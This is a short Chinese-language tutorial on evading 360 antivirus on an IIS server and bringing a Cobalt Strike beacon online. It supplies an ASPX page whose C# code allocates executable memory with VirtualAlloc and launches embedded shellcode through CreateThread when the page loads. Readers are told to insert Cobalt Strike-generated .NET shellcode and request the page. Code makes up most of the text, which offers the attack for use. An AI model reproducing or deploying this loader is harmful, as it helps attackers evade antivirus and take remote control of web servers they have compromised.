绕过360上线cs
一、前言在iis中执行命令会遭到360拦截 也就是说 360会拦截w3wp进程执行的exe文件。 二、绕过可以使用.net的脚本 加载shellcode代码 - <%@ Page Language="C#" %>
- <%@ import Namespace="System"%>
- <%@ import Namespace="System.Runtime.InteropServices"%>
- <script language="c#" runat="server">
- [DllImport("kernel32")]
- private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint
- flAllocationType, uint flProtect);
- [DllImport("kernel32")]
- private static extern IntPtr CreateThread(uint lpThreadAttributes,uint
- dwStackSize, IntPtr lpStartAddress,IntPtr param, uint dwCreationFlags, ref uint
- lpThreadId);
- public void Page_Load(object sender, EventArgs e){
- byte[] esc= new byte[928] { shellcode };
- IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)esc.Length, 0x1000, 0x40);
- Marshal.Copy(esc, 0, funcAddr, esc.Length);
- IntPtr hThread = IntPtr.Zero;
- uint threadId = 0;
- IntPtr pinfo = IntPtr.Zero;
- hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
- Response.Write("CreateThread: 0x" + hThread.ToString("x2") + "<br>");
- return;
- }
- </script>
复制代码 用cs生成net shellcode
将shellcoe替换你的cs代码即可。 访问脚本运行cs 成功上线
|